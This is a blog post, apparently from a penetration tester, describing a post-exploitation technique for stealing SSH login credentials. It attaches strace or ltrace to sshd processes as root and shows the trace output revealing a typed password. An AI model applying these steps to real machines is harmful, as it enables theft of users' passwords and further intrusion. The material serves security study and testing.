Stealing Usernames and Passwords from SSHD

I just read a really cool blog post by Sebastian Krahmer. He discusses a post-exploitation technique to snoop on incomming SSH sessions – including the username and password used to authenticate.

Sabastian discusses OpenSSH running with the “Privilege Separation” option turned on (the default).

In this mode several sshd processes are created when an incomming connection is made.  The lower-privileged process needs to send the supplied username and password to the higher-privilged process in order for it to be verified.  It is during this inter-process communication where the snooping occurs.

The proof-of-concept code attaches to the sshd process, waits for it fork, then traps system calls within the child process.  When the child uses the “read” and “write” system calls to commicate with the parent process, the password is revealed.  Screenshots are included in the orginal post.

We can recreate the process using a locally configured ssh daemon, an ssh client and the strace program to trap system calls.

First we connect to the ssh daemon.  This causes it to fork:

$ ssh pm@localhost

Wait for “password:” prompt, then in another session look for the sshd [priv] process.

# ps aux | grep ssh
root      7015  0.0  0.0  23720   456 ?        Ss   Apr16   0:00 /usr/sbin/sshd
pm       27870  0.0  0.0  22584  2056 pts/5    S+   19:44   0:00 ssh localhost
root     27871  0.1  0.0  33476  2172 ?        Ss   19:44   0:00 sshd: pm [priv]
sshd     27872  0.0  0.0  25060   888 ?        S    19:44   0:00 sshd: pm [net]
root     27873  0.0  0.0  33476   692 ?        S    19:44   0:00 sshd: pm [pam]

Now strace it (you need to be root).  Then go back to the ssh client type in a password.  You’ll see your password being passed between sshd processes…

# strace -p 27871
Process 27871 attached - interrupt to quit
read(6, "???27", 4)                 = 4
read(6, "4???1???16verysecurepass", 23) = 23
write(4, "???236", 5)              = 5
write(4, "???16verysecurepass", 18) = 18
write(6, "????055", 5)              = 5
write(6, "???1", 4)                 = 4
read(6, "???1", 4)                  = 4

The PoC automates this above process.  Very cool.

What if Privilege Separation isn’t being used?

If Privilege Separation is turned off the above technique doesn’t work because system calls aren’t used to send the unencrypted logon credentials.  It’s possible to see credentials being passed around via library calls using the ltrace tool, though.   The password sent in this example was lots of xxxxx’s:

# ps aux | grep sshd
 root      7640  0.0  0.0   5128   724 ?        Ss   19:46   0:00 /usr/sbin/sshd
# sudo ltrace -f -p 7640
...
[pid 7658] HMAC_Update(0xbfff88d8, 0x80ae4d8, 128, 0x4222f7a0, 0x7a4e3342)           = 1
[pid 7658] HMAC_Final(0xbfff88d8, 0x80a1260, 0, 0x4222f7a0, 0x7a4e3342)              = 1
[pid 7658] HMAC_CTX_cleanup(0xbfff88d8, 0x80a1260, 0, 0x4222f7a0, 0x7a4e3342)        = 0xbfff88d8
[pid 7658] memcpy(0xbfff899b, "=", 1)                                                = 0xbfff899b
[pid 7658] free(0x80aa708)                                                           = <void>
[pid 7658] memcpy(0xbfffa984, "", 4)                                                 = 0xbfffa984
[pid 7658] calloc(1, 4)                                                              = 0x80aa708
[pid 7658] memcpy(0xbfffa954, "", 4)                                                 = 0xbfffa954
[pid 7658] malloc(34)                                                                = 0x80b4940
[pid 7658] memcpy(0x80b4940, "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"..., 33)              = 0x80b4940
[pid 7658] malloc(4096)                                                              = 0x80b8440
[pid 7658] memcpy(0x80b8440, "", 4)                                                  = 0x80b8440
[pid 7658] memcpy(0x80b8444, "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"..., 33)              = 0x80b8444
...

So what does it all mean?

If you get root on a box during a pentest, you can snoop on processes.  No surprises or anything new here really.  However, I though it was really cool to see a practical and relatively safe way of automating such snooping – no trojaning of binaries, no risky patching of programs in memory.  Great post Sabastian.

 


Leave a Reply